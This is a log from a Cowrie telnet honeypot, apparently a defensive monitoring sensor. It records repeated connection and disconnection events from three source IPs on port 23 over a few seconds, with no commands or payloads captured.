{"eventid":"cowrie.session.closed","duration":30.552436590194702,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:04.101925Z","src_ip":"69.6.225.50","session":"b6f43883b68c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51726,"dst_ip":"159.203.135.109","dst_port":23,"session":"1eaae5250256","protocol":"telnet","message":"New connection: 69.6.225.50:51726 (159.203.135.109:23) [session: 1eaae5250256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:04.343017Z"}
{"eventid":"cowrie.session.closed","duration":33.01852083206177,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:04.355243Z","src_ip":"144.79.218.12","session":"f217b8f0c295","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51738,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd99735f5816","protocol":"telnet","message":"New connection: 69.6.225.50:51738 (159.203.135.109:23) [session: cd99735f5816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:04.604604Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51750,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfd70187f0e8","protocol":"telnet","message":"New connection: 69.6.225.50:51750 (159.203.135.109:23) [session: bfd70187f0e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:04.679358Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":41558,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae808ef788f4","protocol":"telnet","message":"New connection: 185.15.23.59:41558 (159.203.135.109:23) [session: ae808ef788f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:04.766496Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51766,"dst_ip":"159.203.135.109","dst_port":23,"session":"76f134578a86","protocol":"telnet","message":"New connection: 69.6.225.50:51766 (159.203.135.109:23) [session: 76f134578a86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:05.051774Z"}
{"eventid":"cowrie.session.closed","duration":30.226231813430786,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:05.058780Z","src_ip":"69.6.225.50","session":"e64a2eae9085","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51772,"dst_ip":"159.203.135.109","dst_port":23,"session":"069df064868a","protocol":"telnet","message":"New connection: 69.6.225.50:51772 (159.203.135.109:23) [session: 069df064868a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:05.145733Z"}
{"eventid":"cowrie.session.closed","duration":31.438410997390747,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:05.792265Z","src_ip":"69.6.225.50","session":"58e78c86b3b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.48405408859253,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:05.960461Z","src_ip":"144.79.218.12","session":"aca882ab2071","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.346930503845215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:06.067342Z","src_ip":"69.6.225.50","session":"511e31a65734","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.2594940662384,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:06.277687Z","src_ip":"144.79.218.12","session":"6e16bed9b31d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.762107133865356,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:06.411800Z","src_ip":"144.79.218.12","session":"e755a7cb5e04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.523632764816284,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:06.743026Z","src_ip":"144.79.218.12","session":"cbd304f1a553","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":38922,"dst_ip":"10.17.0.5","dst_port":23,"session":"22b810e77b80","protocol":"telnet","message":"New connection: 144.79.218.12:38922 (10.17.0.5:23) [session: 22b810e77b80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:06.769181Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51786,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e5fc42edf62","protocol":"telnet","message":"New connection: 69.6.225.50:51786 (159.203.135.109:23) [session: 1e5fc42edf62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:06.881418Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51784,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fa4a4795097","protocol":"telnet","message":"New connection: 69.6.225.50:51784 (159.203.135.109:23) [session: 4fa4a4795097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:06.886758Z"}
{"eventid":"cowrie.session.closed","duration":30.963379383087158,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:07.057977Z","src_ip":"69.6.225.50","session":"c511707528cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.394696950912476,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:07.078378Z","src_ip":"185.15.23.59","session":"2bdb09012205","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.29839253425598,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:07.082885Z","src_ip":"69.6.225.50","session":"758b8fa824c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":48702,"dst_ip":"159.203.135.109","dst_port":23,"session":"deefe5798128","protocol":"telnet","message":"New connection: 185.15.23.59:48702 (159.203.135.109:23) [session: deefe5798128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:07.308258Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51792,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba3280d5cd79","protocol":"telnet","message":"New connection: 69.6.225.50:51792 (159.203.135.109:23) [session: ba3280d5cd79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:07.442681Z"}
{"eventid":"cowrie.session.closed","duration":36.99728536605835,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:07.833247Z","src_ip":"144.79.218.12","session":"bb34be8dad02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":50368,"dst_ip":"159.203.135.109","dst_port":23,"session":"c57ed74c01b6","protocol":"telnet","message":"New connection: 185.15.23.59:50368 (159.203.135.109:23) [session: c57ed74c01b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:07.881833Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60470,"dst_ip":"159.203.135.109","dst_port":23,"session":"c59a9a2a945b","protocol":"telnet","message":"New connection: 69.6.225.50:60470 (159.203.135.109:23) [session: c59a9a2a945b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:08.046685Z"}
{"eventid":"cowrie.session.closed","duration":30.78411102294922,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:08.061136Z","src_ip":"69.6.225.50","session":"2c6856536d7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91446614265442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:08.075598Z","src_ip":"69.6.225.50","session":"06ea5b70a57b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.213637351989746,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:08.095884Z","src_ip":"69.6.225.50","session":"0e8460ea4141","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.274168252944946,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:08.128328Z","src_ip":"69.6.225.50","session":"a82d81984d35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.803908348083496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:08.134748Z","src_ip":"69.6.225.50","session":"9e3aeae828e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.625073671340942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:08.276836Z","src_ip":"69.6.225.50","session":"84d60607b5d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":51692,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bf65709642c","protocol":"telnet","message":"New connection: 185.15.23.59:51692 (159.203.135.109:23) [session: 0bf65709642c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:08.444437Z"}
{"eventid":"cowrie.session.closed","duration":36.991058588027954,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:08.527140Z","src_ip":"144.79.218.12","session":"490390751513","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.993128776550293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:08.552925Z","src_ip":"69.6.225.50","session":"16dfb9427a63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.722373008728027,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:09.103716Z","src_ip":"69.6.225.50","session":"91ab3c7a4e4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60482,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a4ed1d316fb","protocol":"telnet","message":"New connection: 69.6.225.50:60482 (159.203.135.109:23) [session: 8a4ed1d316fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:09.129133Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60494,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b3204ae91e9","protocol":"telnet","message":"New connection: 69.6.225.50:60494 (159.203.135.109:23) [session: 8b3204ae91e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:09.324593Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":38850,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2b8719416e3","protocol":"telnet","message":"New connection: 144.79.218.12:38850 (10.17.0.5:23) [session: b2b8719416e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:09.553744Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60500,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca7f86719950","protocol":"telnet","message":"New connection: 69.6.225.50:60500 (159.203.135.109:23) [session: ca7f86719950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:09.649242Z"}
{"eventid":"cowrie.session.closed","duration":30.457860946655273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:10.052493Z","src_ip":"69.6.225.50","session":"f322aa7be65a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60504,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fb568661b01","protocol":"telnet","message":"New connection: 69.6.225.50:60504 (159.203.135.109:23) [session: 1fb568661b01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:10.074990Z"}
{"eventid":"cowrie.session.closed","duration":31.238301515579224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:10.211447Z","src_ip":"69.6.225.50","session":"710d761718a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.098586559295654,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:10.515728Z","src_ip":"144.79.218.12","session":"aa72902e2936","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.692911863327026,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:10.566546Z","src_ip":"185.15.23.59","session":"6f013d098389","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":38856,"dst_ip":"10.17.0.5","dst_port":23,"session":"e111d2b8235e","protocol":"telnet","message":"New connection: 144.79.218.12:38856 (10.17.0.5:23) [session: e111d2b8235e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:10.572387Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":38858,"dst_ip":"10.17.0.5","dst_port":23,"session":"41f965fb3751","protocol":"telnet","message":"New connection: 144.79.218.12:38858 (10.17.0.5:23) [session: 41f965fb3751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:10.621883Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":58842,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8421783feb6","protocol":"telnet","message":"New connection: 185.15.23.59:58842 (159.203.135.109:23) [session: c8421783feb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:10.823568Z"}
{"eventid":"cowrie.session.closed","duration":30.63668155670166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:11.067463Z","src_ip":"69.6.225.50","session":"db3f7840fa88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60520,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a4fbea874a8","protocol":"telnet","message":"New connection: 69.6.225.50:60520 (159.203.135.109:23) [session: 6a4fbea874a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:11.072310Z"}
{"eventid":"cowrie.session.closed","duration":30.71548867225647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:11.118345Z","src_ip":"69.6.225.50","session":"16c3e58bc623","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60522,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f7b2b2575a4","protocol":"telnet","message":"New connection: 69.6.225.50:60522 (159.203.135.109:23) [session: 2f7b2b2575a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:11.217013Z"}
{"eventid":"cowrie.session.closed","duration":34.7681725025177,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:11.371987Z","src_ip":"144.79.218.12","session":"84698a4b983d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60530,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d3b3f3f6321","protocol":"telnet","message":"New connection: 69.6.225.50:60530 (159.203.135.109:23) [session: 3d3b3f3f6321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:11.514722Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":60994,"dst_ip":"159.203.135.109","dst_port":23,"session":"394d21896ed2","protocol":"telnet","message":"New connection: 185.15.23.59:60994 (159.203.135.109:23) [session: 394d21896ed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:11.637794Z"}
{"eventid":"cowrie.session.closed","duration":37.582038164138794,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:11.709051Z","src_ip":"144.79.218.12","session":"9cfa1319d531","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.04950666427612,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:11.746156Z","src_ip":"144.79.218.12","session":"f9002cc83724","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.088865995407104,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:11.890285Z","src_ip":"144.79.218.12","session":"b77af55dac36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.2364821434021,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:11.950642Z","src_ip":"144.79.218.12","session":"49206202fda5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":33984,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8e268c32f3b","protocol":"telnet","message":"New connection: 185.15.23.59:33984 (159.203.135.109:23) [session: c8e268c32f3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:12.050289Z"}
{"eventid":"cowrie.session.closed","duration":30.486096143722534,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:13.061666Z","src_ip":"69.6.225.50","session":"4966c55bfecb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99998950958252,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:13.353402Z","src_ip":"185.15.23.59","session":"99220a6d1a6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.022175073623657,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:13.388279Z","src_ip":"69.6.225.50","session":"4414f4f8daa4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.930065393447876,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:13.451406Z","src_ip":"69.6.225.50","session":"096e1de75035","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":37480,"dst_ip":"159.203.135.109","dst_port":23,"session":"5008edc9ea9e","protocol":"telnet","message":"New connection: 185.15.23.59:37480 (159.203.135.109:23) [session: 5008edc9ea9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:13.471643Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":35948,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ccfd7ff8aeb","protocol":"telnet","message":"New connection: 185.15.23.59:35948 (159.203.135.109:23) [session: 1ccfd7ff8aeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:13.839197Z"}
{"eventid":"cowrie.session.closed","duration":31.19112992286682,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:13.869819Z","src_ip":"185.15.23.59","session":"7f5cc734ff07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.005825519561768,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:14.054330Z","src_ip":"69.6.225.50","session":"484023760301","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10875678062439,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:14.117048Z","src_ip":"69.6.225.50","session":"a495d2418111","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":39974,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9cd4a5258c7","protocol":"telnet","message":"New connection: 185.15.23.59:39974 (159.203.135.109:23) [session: e9cd4a5258c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:14.277999Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":40718,"dst_ip":"159.203.135.109","dst_port":23,"session":"b00b72429930","protocol":"telnet","message":"New connection: 185.15.23.59:40718 (159.203.135.109:23) [session: b00b72429930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:14.535554Z"}
{"eventid":"cowrie.session.closed","duration":31.076207637786865,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:14.831510Z","src_ip":"185.15.23.59","session":"02bb63ea1e18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60538,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd5bec6716c8","protocol":"telnet","message":"New connection: 69.6.225.50:60538 (159.203.135.109:23) [session: cd5bec6716c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:14.872648Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":42026,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c91ba059cee","protocol":"telnet","message":"New connection: 185.15.23.59:42026 (159.203.135.109:23) [session: 3c91ba059cee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:14.964250Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60548,"dst_ip":"159.203.135.109","dst_port":23,"session":"0be909a88e59","protocol":"telnet","message":"New connection: 69.6.225.50:60548 (159.203.135.109:23) [session: 0be909a88e59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:15.176790Z"}
{"eventid":"cowrie.session.closed","duration":30.89028763771057,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:15.282274Z","src_ip":"185.15.23.59","session":"52b760c211e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":42992,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f5c1db54297","protocol":"telnet","message":"New connection: 185.15.23.59:42992 (159.203.135.109:23) [session: 7f5c1db54297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:15.315621Z"}
{"eventid":"cowrie.session.closed","duration":30.728395700454712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:15.657824Z","src_ip":"185.15.23.59","session":"c0c5492f48c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60554,"dst_ip":"159.203.135.109","dst_port":23,"session":"052661f08731","protocol":"telnet","message":"New connection: 69.6.225.50:60554 (159.203.135.109:23) [session: 052661f08731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:15.778676Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60562,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0aa4acd1618","protocol":"telnet","message":"New connection: 69.6.225.50:60562 (159.203.135.109:23) [session: d0aa4acd1618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:15.803679Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":60572,"dst_ip":"159.203.135.109","dst_port":23,"session":"072f208ddfb1","protocol":"telnet","message":"New connection: 69.6.225.50:60572 (159.203.135.109:23) [session: 072f208ddfb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:16.358722Z"}
{"eventid":"cowrie.session.closed","duration":30.776686429977417,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:18:16.433967Z","src_ip":"185.15.23.59","session":"82c5fa277dc4","protocol":"telnet"}
